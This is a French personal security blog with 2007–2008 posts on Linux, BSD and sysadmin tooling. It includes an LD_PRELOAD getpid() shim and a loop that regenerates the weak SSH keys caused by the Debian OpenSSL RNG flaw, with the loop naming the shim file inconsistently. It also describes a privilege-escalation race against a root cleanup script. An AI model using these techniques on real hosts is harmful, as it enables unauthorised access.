apt archive backdoor blog bug busybox coding coup2gueule cv debian debiansux desktop distribution dotclear engine filesystem firefox fonts forward fsck gcc geek gentoo git gmail gpg hardening heureux hg humeur ikiwi ilty imported integriste ipod ipodsux kernel latex life linux mail makefile migration mime mozilla music openbsd openssl password php police pub pwned python random repository rescue rockbox sansa sawfish sh ssl sux sysadmin tech tempest unix vcs vieuxcon voip vulnerability windowmanager wm x11

Bienvenue sur mon blog, si si si, c'est un blog ! Ok, il n'est pas Web-2.0 compliant, Mr Propre et tout ça, mais j'essaie de publier quelques billets sur tout ce qui tourne autour d'UNIX, Linux et la sécurité informatique.

Il n'est pas possible de poster de commentaires, néanmoins, vous pouvez toujours m'envoyer un mail pour que je mette à jour le billet.

Lors de la sortie d'OpenBSD 4.4, j'avais été choqué de lire dans l'interview de Kurt Miller que leur OS n'était toujours pas capable de faire du PIE. Pour ceux à qui ça ne leur dirait rien, c'est une option du compilateur permettant de rendre le code totalement "déplacable" dans la mémoire : toutes les instructions sont relatives (comme c'est le cas dans les bibliothèques), aucune adresse n'est marquée en dure.

Ainsi, lorsqu'un processus est lançé, on peut placer toutes les sections du binaire à des adresses aléatoires. Cela permet de boucler la boucle dans toutes les protections mémoires : l'ASLR est complète, protections NX, PaX, W^X, mise en lecture seule de la GOT & Co. Autant dire que la tâche est beaucoup plus compliquée pour exploiter un buffer overflow, à vrai dire, à part un off-by-one chanceux, je ne vois pas comment exploiter ça (vous avez le droit de m'envoyer vos idées).

Bon, tout ça pour en revenir à OpenBSD qui se dit être l'OS le plus sécurisé et tout ça et annoncer aujourd'hui qu' ils commencent tout juste à avoir une toolchain complète supportant le PIE. Ca me fait penser aux affaires dans le passé où on s'est rendu compte que W^X ne s'appliquaient pas à toutes les sections, etc.

Conclusion : A false sense of security is worse than a true sense of insecurity.

Posted Wed 19 Nov 2008 09:31:19 AM CET Tags:

Astuce du jour (ou de l'année vu ma fréquence de posts) pour vsftpd qui n'est pas capable d'écouter à la fois en IPv6 et en IPv4. La solution, c'est de savoir que c'est pas possible.

Il faut en fait passer par (x)inetd qui n'a pas de telle limitation et qui passera la main() à vsftpd en temps voulu.

Posted Sun 16 Nov 2008 06:24:37 PM CET Tags:

Faisons une constation assez simple : si votre lecteur portable (tournant sous Rockbox bien évidemment) a un disque de grande capacité, vous l'avez chargé une fois et vous tournez avec la même musique depuis maintenant 4 mois car vous avez la flemme de faire le DJ.

On va donc emprunter une fonctionnalité qui parait-il se trouve sur Itunes : remplir son lecteur avec des fichiers complétement aléatoires.

Ce qui donne le script (zsh) suivant :

#! /bin/zsh

setopt extendedglob
MUZBUS="\/media\/muzbus"
MUSIC="/music"

muzfiles=($MUSIC/**/*mp3(.))
fillme=$(df "${(Q)MUZBUS}" | awk -F" " "/${MUZBUS}/ { print \$4*1024}")

zmodload -F zsh/stat b:zstat
i=0

while [ "$fillme" -gt "0" ]; do
    rndfile="$muzfiles[(($RANDOM % $#muzfiles))]"
    size=$(zstat +s "$rndfile")
    fillme=$((fillme - size))
    print -l -- "$i -- $rndfile"
    cp -- "$rndfile" "${(Q)MUZBUS}/music/"
    ((i++))
done

Attention ! Ne lançez pas ce script sous Debian, ils ont quelques problèmes d'aléa :)

Posted Sun 15 Jun 2008 03:53:09 PM CEST Tags:

Je suis en train d'évaluer quelques distributions dîtes sécurisées, et la première à laquelle je me suis intéressé est Gentoo Hardened.

C'est la distribution qui semble la plus "maintenue", avec une quantité de "paquets" importante et une base d'utilisateurs importante, sa communauté semble bien étoffée par des personnes telles que Solar Designer ou même pageexec.

De plus, pas mal de personnes que je respecte utilise cette distribution, ca doit pas être si mauvais ?

Attention, j'ai essayé de tester le truc en restant en mode non-troll, j'ai vraiment essayé, je le jure... Mes critères de jugement ont été les suivants : imaginons que je sois le sysadmin d'une moyenne entreprise avec un parc d'une trentaine de serveurs hétérogènes en architecture, modèle, technologie (une pré-image d'installation unique est donc impossible).

Le seul critère (subjectif) qui compte, c'est l'efficacité du truc.

Installation

Wahoo. Comment dire, si on vient du monde Linux (par opposition aux installs BSD), l'installation est loin d'être une promenade de santé, tout est très spartiate.

Autant il est facile d'installer une Debian en moins de 20 minutes, autant c'est impossible avec une Gentoo. Quand bien même c'était ma 3ème installation comparé à la centaine de Debian que j'ai pû mettre en place, il est impossible de faire aussi efficace qu'un Debian-Installer (mon seul référentiel).

Et puis tout irait bien si ça c'était bien passé, ça aurait été trop facile. Eh ben non! Tout a pété avec leurs maudits "Broken packages" ou "Masked package". Heureusement, je testais dans une machine virtuelle donc j'étais confortablement installé dans mon fauteuil, à une température correcte, en tee-shirt+caleçon (oui, c'est mon bleu de travail favori) et surtout, j'avais un navigateur Web pour regarder la documentation, bug reports et mailing list. Je n'imagine même pas en salle machine, coinçé entre deux rangées de baies où les ventilateurs expulsent l'air chaud dans le dos alors que je tape sur un KVM merdique mi-azerti, mi-dvorak, mi-stupide (oui ça fait 3/2 tout ça, mais les KVM ont un nombre bizarre de touches).

À l'issu de l'install, je me réconfortais en me disant qu'au moins, j'aurais vraiment le strict minimum installé.

localhost ~ # df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/hda1              37G  2.4G   33G   7% /
udev                   10M  100K   10M   1% /dev
shm                    60M     0   60M   0% /dev/shm

Oups. Disk usage failed! WTF? J'imagine que ce sont les sources, portage ou je ne sais quoi qui sont supprimables sans problème, mais je suis pourtant sûr d'avoir suivi le Gentoo Handbook à la lettre (sinon je m'en sortais jamais), comment est-ce possible d'en arriver à 2.4 Go !

Dans les trucs qui choquent encore, c'est que la liste des terminaux graphiques reconnus est vraiment "light", si vous vous connectez en ssh à partir d'un terminal rxvt-unicode, vous vous retrouverez avec un shell ne permettant pas d'utiliser vim, quelques shortcuts comme ^L, etc. Ca coûte rien qu'ils soient installé par défaut for god sake!

Passons à la configuration.

Configuration du système

Conf système et réseau

Le réseau... Comment on configure ce truc? Me dites pas que... Bienvenue dans les années 70, avec les adresses, routes et gateway dans des variables d'environnement sourcées par les scripts /etc/rc*.

Et si! Il est vrai que sur un serveur, c'est peut-être largement suffisant, mais si on considère le cas d'un routeur, ou d'un serveur un peu bizarre (machines virtuelles) avec des bridges et vlans c'est ingérable. On en revient alors à écrire un script qui fait tout ça, mais c'est tout autant ingérable, le /etc/network/interfaces que je connais sous Debian est irréprochable sur ce coup, en particulier quand on a lu sa doc.

La création d'utilisateur est resté BSDienne avec un useradd où il faut connaître par coeur toutes les options de ligne de commande sous peine de revenir éditer les fichiers passwd et shadow à la main. Le adduser Debian est peut-être écrit en Perl, mais il est pratique.

On voulait un système durçi, va falloir recompiler le noyau pour activer toutes les options de sécurité (PaX, Grsecurity, SELinux). C'est là où je me dis que finalement, make-kpkg, c'est vachement bien : en tant qu'administrateur conscencieux, on aurait compilé le noyau du serveur sur une autre machine et on aurait utilisé un scp tout crassou vers le serveur après ? Holly sh*t. Y a des tas de façons de se louper quelque part...

Mais en bon seigneur, j'avoue avoir bien aimé le /etc/modules.autoload.d/ qui permet de spécifier les modules à charger au boot, simple, clair, efficace.

Light is right, uh?

Ouch, quel sens du mauvais goût ! Le seul éditeur texte qui est installé par défaut est nano, ok, il y a toujours la vieille querelle vi-emacs, en tant qu'utilisateur des deux, je hais nano, passons.

Travail de base, protégeons au minimum la machine en écrivant quelques règles de firewall :

# iptables
bash: iptables: command not found

Youpi! Quand je vous disais que c'était une installation light! Y a plus qu'à downloader les sources et dépendances, heureusement que c'est pas un Windows XP SP1 branché en live sur un modem ADSL, sa durée de vie serait pas longue...

Ça permet alors de se faire une première idée du système de package, emerge. C'est un autre style : y a des smileys partout, c'est super verbeux, y a des jolis choix de couleurs (non c'est une blague).

Vu que j'y comprends rien, je me mets à lire la page de manuel et qu'est-ce qu'on peut lire : Les dépendances inverses ne sont pas gérées, si je comprends bien, je peux très bien supprimer la zlib sans qu'emerge ne s'en émeuve ? F34r.

Et on continue sur les rebondissements, on se retrouve à réaliser des workarounds tels que ceux-ci (indiqués dans le handbook) :

# emerge checkpolicy policycoreutils # FEATURES=-selinux emerge selinux-base-policy

Enfin ça, c'est ce qu'il y a marqué car je n'ai jamais réussi à déployer le bousin, j'obtiens toujours un truc comme ça :

localhost ~ # FEATURES=-selinux emerge selinux-base-policy
Calculating dependencies |
!!! All ebuilds that could satisfy ">=sys-apps/checkpolicy-1.30.12" have been masked.
!!! One of the following masked packages is required to complete your request:
- sys-apps/checkpolicy-1.34.4 (masked by: package.mask, ~amd64 keyword)
/usr/portage/profiles/default/linux/package.mask:
# Shouldn't be merging these SELinux packages on this profile
# but this keeps repoman happy since they require >=glibc-2.4
# 20061009 pebenito

- sys-apps/checkpolicy-1.34.3 (masked by: package.mask, ~amd64 keyword)
- sys-apps/checkpolicy-1.34.0 (masked by: package.mask)

For more information, see MASKED PACKAGES section in the emerge man page or 
refer to the Gentoo Handbook.
(dependency required by "sec-policy/selinux-base-policy-20070928" [ebuild])

J'ai beau eu modifier plusieurs fichiers, je tombe toujours sur une erreur fatale. Alors que j'ai suivi toute la procédure.

Je vous laisse le meilleur pour la fin, la gestion des mises à jour des fichiers de configuration expliquée par la page de manuel :

When Portage  installs a  file into  a protected directory  tree like  /etc, any
existing  files will not  be overwritten.  If a  file of  the same  name already
exists, Portage will  change the name of the to-be-installed  file from 'foo' to
'._cfg0000_foo'.   If  '._cfg0000_foo'   already  exists,   this   name  becomes
'._cfg0001_foo', etc. In this way,  existing files are not overwritten, allowing
the  administrator  to  manually  merge  the  new config  files  and  avoid  any
unexpected changes.

Soyons honnête, heureusement qu'il existe des outils qui aident comme l'indique le man :

Tools such  as dispatch-conf, cfg-update,  and etc-update are also  available to
aid in  the merging  of these  files. They provide  interactive merging  and can
auto-merge trivial changes.

Finalement, ce test qui devait être "juste" s'est transformé en un joli bash en règle alors qu'il y a plein de trucs intéressants dans cette distribution. Désolé.

Posted Sun 01 Jun 2008 11:11:53 PM CEST Tags:

Période de recrutement oblige, c'est le moment de remettre au gout du jour son CV, sauf que dégainer OpenOffice juste pour ça m'embarassait quelque peu...

Ca faisait longtemps que je cherchais une classe LaTeX belle, pratique et structurée et je l'ai enfin trouvé : moderncv, je vous laisse voir un exemple de CV.

La killer-feature, c'est le support de la bibliographie BibTeX, bien pratique pour lister les publications.

L'essayer, c'est l'adopter.

Posted Mon 26 May 2008 11:01:57 AM CEST Tags:
$ cat > fakegetpid.c
#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void) {
        return 1;
}
^D
$ gcc -shared fakegetpid.c -o fakegetpid.so
$ LD_PRELOAD=$PWD/fakegetpid.so ssh-keygen -t rsa -N '' -f 
% ssh-keygen -f foobar -t rsa -N ''
Generating public/private rsa key pair.
Your identification has been saved in foobar.
Your public key has been saved in foobar.pub.
The key fingerprint is:
a9:65:93:0d:02:1d:e4:43:03:da:06:ab:24:73:13:7e foo@bar
% ssh-keygen -f foobar -t rsa -N ''
Generating public/private rsa key pair.
foobar already exists.
Overwrite (y/n)? y
Your identification has been saved in foobar.
Your public key has been saved in foobar.pub.
The key fingerprint is:
a9:65:93:0d:02:1d:e4:43:03:da:06:ab:24:73:13:7e foo@bar

Les deux fingerprints sont identiques !

Donc si je résume, la seule graine d'aléa est en fait le PID du processus. Ce qui signifie qu'il n'existe que 2^32 bits possibilités de clef sur x86, bruteforcons... pendant 400 ans.

$ cat > fakegetpid.c
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

pid_t getpid(void) {
        pid_t fakepid;
        fakepid = atoi(getenv("FAKEPID"));

        return fakepid;
}

^D
$ gcc -shared fakegetpid.c -o fakegetpid.so
% export FAKEPID
% for FAKEPID in $(seq 0 $((2**32))); do
      LD_PRELOAD=$PWD/getpid.so ssh-keygen -t rsa -N '' -f foo.$((FAKEPID))  |grep foo@bar
  done
70:e2:6b:54:e8:46:b7:64:b7:9a:d6:a8:5d:3e:41:2f foo@bar
65:23:e0:30:76:cb:9c:f6:a9:72:64:1c:f0:4d:90:b9 foo@bar
fd:21:36:80:2b:df:ac:e8:09:7a:2d:62:cc:38:88:ec foo@bar
17:e5:ba:34:97:1d:2f:63:be:0a:7e:25:eb:3c:b0:fb foo@bar
bd:6f:c2:ca:3f:ad:49:d1:4b:20:ac:6f:27:35:5a:0d foo@bar
a6:9b:60:e0:ce:13:9b:68:6a:36:60:3e:60:82:62:2c foo@bar
ca:d7:2f:8f:c0:42:12:df:d2:5f:78:41:86:6e:63:0e foo@bar
29:ea:08:3a:61:91:55:e9:cb:93:46:b2:55:cc:87:e6 foo@bar
b5:6d:f1:3f:47:ce:ab:11:d1:1a:6f:0f:e6:a5:04:8d foo@bar
13:c2:e7:0f:f1:cf:a8:22:8f:7b:a4:b0:f3:83:64:25 foo@bar

Ensuite, vous loadez toutes ces clefs dans votre ssh-agent et boum!

Update@23:04: H D Moore s'en mêle et a eu la même idée, sauf que lui n'a pas oublié que les PID étaient sur 15 bits et pas sur 32 bits, soient 32 768 possibilités ce que j'avais réussi à calculer en quatre heures (j'ai pas 31 Xeon moi !).

Pour ceux que ça intéresse, je suis sur le point d'avoir les clefs pour 0 < PID < 300 000. Ok, ca n'a aucun intérêt.

Posted Wed 14 May 2008 01:28:34 PM CEST Tags:

OMG ! Le DSA-2008-0166 qui vient de sortir est peut-être l'un des pire jamais existé. Sa conclusion est assez claire :

It is strongly recommended that all cryptographic key material which has
been generated by OpenSSL versions starting with 0.9.8c-1 on Debian
systems is recreated from scratch.

Si on fait un interdiff avec la version précédente, on obtient ça :

diff -u openssl-0.9.8c/crypto/rand/md_rand.c openssl-0.9.8c/crypto/rand/md_rand.c
--- openssl-0.9.8c/crypto/rand/md_rand.c
+++ openssl-0.9.8c/crypto/rand/md_rand.c
@@ -271,10 +271,7 @@
                else
                        MD_Update(&m,&(state[st_idx]),j);

-/*             
- * Don't add uninitialised data.
                MD_Update(&m,buf,j);
-*/
                MD_Update(&m,(unsigned char *)&(md_c[0]),sizeof(md_c));
                MD_Final(&m,local_md);
                md_c[1]++;
diff -u openssl-0.9.8c/debian/changelog openssl-0.9.8c/debian/changelog
--- openssl-0.9.8c/debian/changelog
+++ openssl-0.9.8c/debian/changelog
@@ -1,3 +1,19 @@
+openssl (0.9.8c-4etch3) stable-security; urgency=high
+
+  * Re-introducing seeding of the random number generator.  Patch from the
+    maintainer.
+
+ -- Florian Weimer <fw@deneb.enyo.de>  Thu, 08 May 2008 01:58:40 +0200
+

WTF ? Pourquoi le maintaineur Debian modifie le code en lui-même ? Autant je comprends qu'il le fasse quand ça l'arrange pour le packaging, mais ce n'est pas son rôle de "corriger" le code tout seul comme un grand. Tout pour ça pour corriger un bug esthétique !

J'entends d'ici Theo De Raadt qui rigole.

Ubuntun, rigolez pas, vous êtes autant vulnérable.

Posted Tue 13 May 2008 03:16:57 PM CEST Tags:

Ce récit d'un sauvetage de système me fait un penser à la bourde qu'il m'était arrivée il y a quelques mois en cassant libssl à distance.

Dans les bonnes pratiques de l'admin, installez toujours busybox-static sur chaque serveur, vous ne le regretterez jamais...

Certains osent aussi dire qu'il faut toujours avoir une backdoor SSLifiée statique. Ca me rappelle un serveur qui avait compilé ce genre de truc sur une très ancienne version d'OpenSSL et qui n'avait jamais mis à jour sa backdoor...

Posted Fri 18 Apr 2008 07:22:45 PM CEST Tags:

De plus en plus de constructeurs s'intéressent à l'ouverture de leurs produits sur des plateformes libres, chaque semaine, nous entendons des nouvelles du type "Des spécifications ont ou vont être libérées" (Via, AMD, Intel et Xorg, etc) "Un développeur vient de rejoindre le constructeur X", etc.

Aujourd'hui, c'est un développeur qui est débauché par Atheros pour intégrer le support des célèbres cartes Wifi dans le noyau upstream. Il est vrai que la moitié des annonces d'ouverture des constructeurs ne débouchent pas forcément sur quelque chose de concret mais les derniers mois ont de quoi nous réjouir : on a de vrai drivers Xorg pour les cartes Intel et ATI, le support des cartes Wifi s'améliorent de jour en jour (les Intel avec leur nouvelles piles iwlwifi, le projet ath5k, etc.), la gestion de l'énergie fait des bonds en avant avec la publication des spécifications ACPI de certaines cartes mères, etc.

Question trollesque : Y a t'il un effet Vista ? Dans la mesure où les constructeurs sont désormais obligés de payer^Wcertifier leurs drivers et que personne ne veut de Vista, est-ce que les constructeurs n'espéraient pas faire développer leurs pilotes par la communauté pour baisser les coûts (non je ne crois plus à la philantropie) ?

Y a t'il un rapport avec une déclaration qu'avait fait Dell ou HP annonçant que leur matériel sera totalement supporté sous Linux ?

Posted Thu 17 Apr 2008 05:42:18 PM CEST

J'ai enfin recompilé tous les paquets Debian avec les fonctionnalités de "protection de code" activées (stack guard, prévention de formats strings, mise en read-only de sections ELF et génération d'un binaire PIE). Bref tout ce qui vous rend très confiant si vous tournez sous un noyau PaXé.

Puisqu'un bon parano n'utilisera pas un repository tier et recompilera ses propres packages, j'ai documenté la procédure de recompilation ici. Pour les autres qui me truste :

server$ gpg --export nico@chdir.org| sudo apt-key add -
server# echo "deb http://debian.chdir.org/debian/ stable/" >> /etc/apt/sources.list
server# apt-get update
server# apt-get upgrade

Vu que je l'utilise en production, je devrais le tenir très à jour. Si vous avez des remarques sur le document ou des idées de flags à rajouter...

Posted Fri 18 Jan 2008 12:12:28 PM CET Tags:

Pourquoi ne pas utiliser Google Mail ? Par pure paranoïa, mais c'est trop bête de se passer de plusieurs gigaoctets d'espace libre non ? Autant s'en servir comme mécanisme de sauvegarde, avec l'aide de procmail, GnuPG et MIME-construct on peut faire tout ce qu'on veut :)

Pour forwarder les mails que vous recevez vers un autre compte, vous pouvez tout bêtement utiliser procmail avec une règle "pipant" les messages dans GnuPG comme cela :

:0c
| gpg -r mamanours@gmail.com --encrypt | mail -s "Bla" mamanours@gmail.com

Le problème est que vous recevez les mails chiffrés, certes, mais complétement détruits, votre MUA ne l'interprète plus comme un mail mais comme une suite d'octets au déchiffrement, donc si le message est codé en Quoted Printable, il ressemble plus ou moins à de la boue au final, et je ne vous parle même pas de la tête que font vos pièces jointes qui ne sont plus manipulables sans reconstruire les parties MIME avec un logiciel tier.

Non, la solution, c'est d'implémenter la même logique qu'un vrai MUA : forwarder les mails avec du MIME, et chiffrer le résultat avec du MIME encore :

#! /bin/bash

TMPCLAIR="$(mktemp)"
FINALADDR="nico@chdir.org"
TXTINTRO="$HOME/.etc/introduction_forward-me-gpgified"

### ALWAYS wipe the $TMP
trap "wipe -qsf -- $TMPCLAIR" TERM QUIT EXIT

mime-construct --part-header 'Content-Disposition: inline' --type 'message/rfc822' --file - --subpart --output > "$TMPCLAIR"

gpg -r "$FINALADDR" --encrypt < "$TMPCLAIR" | mime-construct --multipart     \
                    'multipart/encrypted; protocol="application/pgp-encrypted"' \
      --type 'application/pgp-encrypted' --file "$TXTINTRO" \
      --type 'application/octet-stream' --file -            \
      --to "$FINALADDR" --subject "$RANDOM"

Avec un fichier $HOME/.etc/introduction_forward-me-gpgified contenant juste :

Version: 1

Et votre règle Procmail ressemblant à :

:0c
| forward-me-gpged-mail

Désormais, lorsque votre MUA ouvre un mail forwardé, il interprète correctement les en-têtes du message (codage, chiffrement s'il y en a encore, etc.) et normalement, les pièces jointes sont directement accessibles (pas eu le temps de tester).

Note: Donc pour ceux qui ont le mauvais goût de forwarder leurs mails corporate vers Gmail, utilisez au moins quelque chose dans ce goût là!

Posted Mon 14 Jan 2008 09:46:43 PM CET Tags:

Mais pourquoi je ne l'ai pas fait avant ? C'est la question que je me pose depuis que j'ai redémarré mon Sandisk Sansa e280 après avoir mis un firmware Rockbox à la place du truc officiel qui était très... "girly" pour rester poli.

Désormais l'interface est réactive, tout est configurable (par exemple, pourquoi est-ce que l'ancien tenait tant à garder la roulette allumée ?), y a plein de jeux et d'applications (par exemple un métronome ! Inutile donc indispensable non ?) et je n'ai plus de bugs. Le plus difficile en fait, c'est d'oublier ses réflexes, oublier le fait que l'interface va réagir en 3 ms au lieu de 30 et donc ne pas anticiper ce qu'on compte faire !

En plus, l'installation est triviale en suivant le manuel Sansa e200 ! Si votre lecteur est supporté, sautez le pas, ca vaut le coup ! Ok, je dis ça mais j'ai pas encore vérifié la durée de la batterie de 15h30 annoncée (d'après les spécifications commerciales de SanDisk, ca devrait tenir ~20h), mais il semblent que les développeurs tentent de l'optimiser encore plus.

Si vous voulez plus de détails, allez voir son status sur le Wiki et si vous cherchez un lecteur MP3, faîtes un tour sur le guide d'achat listant comment les modèles sont supportés.

Posted Sat 29 Dec 2007 11:31:36 PM CET Tags:

Petit moment de nostalgie lorsque j'ai voulu tester Weave, cette extension, prometteuse, nécessite Firefox 3 (beta), ça m'a alors rappelé l'époque où on attendait fébrilement chaque Milestone du projet Mozilla. Ces gros binaires qui apportaient à chaque fois des tas de nouvelles fonctionnalités (ou des bugs) étaient toujours attendus avec impatience. Ca c'était sympa, surtout avec une connexion 56K!

C'était un peu Noël à chaque release. C'était beau.

Et puis toute cette tristesse pour rien puisqu'il n'y a pas de binaire de Firefox3 pour AMD64 de prêt et j'ai pas envie d'installer tous les paquets ia32-* juste pour 4 minutes de test. Vous me raconterez ?

Posted Tue 25 Dec 2007 09:13:26 AM CET Tags:

En redémarrant mon laptop, j'ai eu la chance de voir un beau message qui ressemblait à ça :

primary superblock features different from backup, check forced

Suivi d'un fsck qui a eu la bonne idée de faire un segfault lorsqu'il a terminé, rebootant le bousin.

Même s'il était tôt le matin, je me suis tout de suite rappelé que quelques jours avant, j'avais mis à jour les outils e2fs & Co. Le deuxième reboot a été un grand moment de solitude... Mais s'est passé sans problème.

Visiblement, tout ça (sauf le segfault qui ne s'est pas reproduit sur une deuxième machine) est normal, on peut être rassuré par Theodore Tso lui-même dans un rapport de bug.

Toujours est-il que cela signifie que si vous avez des serveurs avec de très gros disques en ext[23]fs, il va falloir prévoir un downtime assez important pour faire le fsck.

Posted Mon 17 Dec 2007 08:52:55 PM CET Tags:

Comme quoi ca fait toujours plaisir de lire les pages de manuel sans but précis, j'ai ainsi pû rencontrer l'option archive disponible dans git et également dans hg.

Cette option, comme son nom ne l'indique pas, permet de faire des archives du repository courant, ou d'une révision spécifique, etc. Cela permet de simplifier les horreurs qu'on peut mettre dans son Makefile pour la célèbre cible dist, cf le diff suivant que je suis en train d'appliquer un peu partout :

diff --git a/Makefile b/Makefile
index 458b46b..3b6e9e8 100644
--- a/Makefile
+++ b/Makefile
@@ -4,8 +4,7 @@

     dist:
-       -make clean
-       (cd .. && tar --exclude=.git -zcvf bla.tgz bla/)
+      git archive --prefix="$(shell basename $(PWD))/" --format=tar HEAD | gzip > "../$(shell basename $(PWD)).tgz"

Ca fait plaisir, si git pouvait avoir également le support des tarballs gziffiées et bz2ifiées comme son copain hg, ca serait parfait.

Posted Fri 14 Dec 2007 06:42:31 PM CET Tags:

Alors là, ca parait tellement gros... Il aura quand même fallu plusieurs années pour s'en rendre compte... Et par les gens de Microsoft en plus :)

Posted Thu 15 Nov 2007 06:53:08 PM CET

C'est avec plaisir qu'après trois semaines aux États-Unis, je vois que l'appel à soumission du SSTIC est paru. Et ce qui fait le plus plaisir, c'est que je sois dans le Comité de Programme !

D'après tous les commentaires que j'avais pû lire, le SSTIC07 était le meilleur jamais réalisé donc j'imagine que la sélection des soumissions de cette année ne va pas être des plus aisés.

Merci à la confiance des membres du Comité d'Organisation !

Posted Wed 07 Nov 2007 12:00:54 PM CET

Tiens, le paquet sawfish (le window manager que j'utilise depuis quatre ans) vient d'être mis à jour après upgrade. C'est étonnant car son développement est arrêté depuis bien longtemps, il était juste maintenu de temps en temps.

Le changelog du paquet Debian donne la bonne nouvelle :

   sawfish (1:1.3.1-1) unstable; urgency=low

    * New upstream release, by a new upstream maintainer team.
          - Update homepage URL.

En effet, la page officielle de sawfish est désormais quelque chose qui date de moins de dix ans :) Question marketing, du beau boulot a été fait, mais au niveau du code, j'attends encore avant de m'exciter car cette nouvelle release ne diffère pas vraiment d'une mise à jour de maintenance.

Il n'y a aucun nouveau script ou thème ajouté, juste un regroupement d'anciennes ressources sur ce nouveau site Web 2.0. Je suis impatient de voir une communauté active derrière cet excellent gestionnaire de fenêtre, j'étais presque sur le point d'aller voir ailleurs, du côté d'OpenBox.

Posted Sat 15 Sep 2007 05:38:18 PM CEST Tags:

L'administration système est sûrement le boulot le plus difficile, techniquement comme humainement parlant, car vous devez connaître tous les outils utilisés, les effets de bord, les impacts sur la sécurité des données et je ne parle même pas de l'horreur des sauvegardes ou de l'enfer des mises à jour.

Enfin, ça, c'est la théorie, car dans la pratique, l'équipe d'administration se contente... d'administrer. À part les vieux, on rencontre de moins en moins d'administrateurs barbus, qui maîtrisent un langage de script ou les arcanes de leurs MTA. C'est pour ça qu'aujourd'hui, si on veut compromettre un réseau, il est beaucoup plus efficace de regarder les scripts écrits par l'administrateur que faire de la veille de vulnérabilité pour Apache.

Un exemple ? Facile, voici un extrait de script executé (sous uid=0) à chaque fin de session utilisateur dans une université parisienne :

# ... plusieurs centaines de lignes de bullshit
chown -R $USER:$GROUP $HOME_USER/
chmod -R u-s,g-s,o-t  $HOME_USER/

Tout ça, c'est de mémoire mais le code était bien pire.

Avez vous vu le problème ? Sachant que tous les professeurs, élèves et même les administrateurs avaient toujours un répertoire tmp/ ou incoming/ en World-Writable pour recevoir les comptes-rendus ou travaux pratiques des élèves.

La race condition se passait les doigts dans le nez malgré le quota de 10 Mo avec la création de milliers de répertoires imbriqués. Vous posiez vos billes et paf, vous n'aviez qu'à attendre la déconnexion de la victime (facile puisque les droits de reboot n'étaient pas révoqués).

Et je parle même pas des problèmes de non quotage des variables, des interfaces Web de changements de mot de passe, du répertoire contenant les logs Apache qui est en écriture pour les users, etc. Tout ce qui est homemade est toujours le premier truc à analyser... Bonne chasse :)

Posted Fri 14 Sep 2007 06:22:06 PM CEST Tags:

Ah bah c'est pas trop tôt, la recherche Google sur le mot ilty donne enfin en premier résultat le lien vers la page d'ilty. Cela a été acceleré par l'ajout d'ilty dans la liste des outils de sécurité du VOIPSA (crédit à News0ft qui m'a fait de la pub).

Visiblement, c'était pas inutile car ça évitera, je l'espère, que des articles sur la sécurité VoIP disent qu'ilty n'est ni ouvert, ni distribué, ni trouvable sur Internet, ni développé. Bon, sur ce dernier point, c'est pas tellement faux, ca fait deux ans que je dois faire une release...

Posted Fri 14 Sep 2007 03:18:27 PM CEST Tags: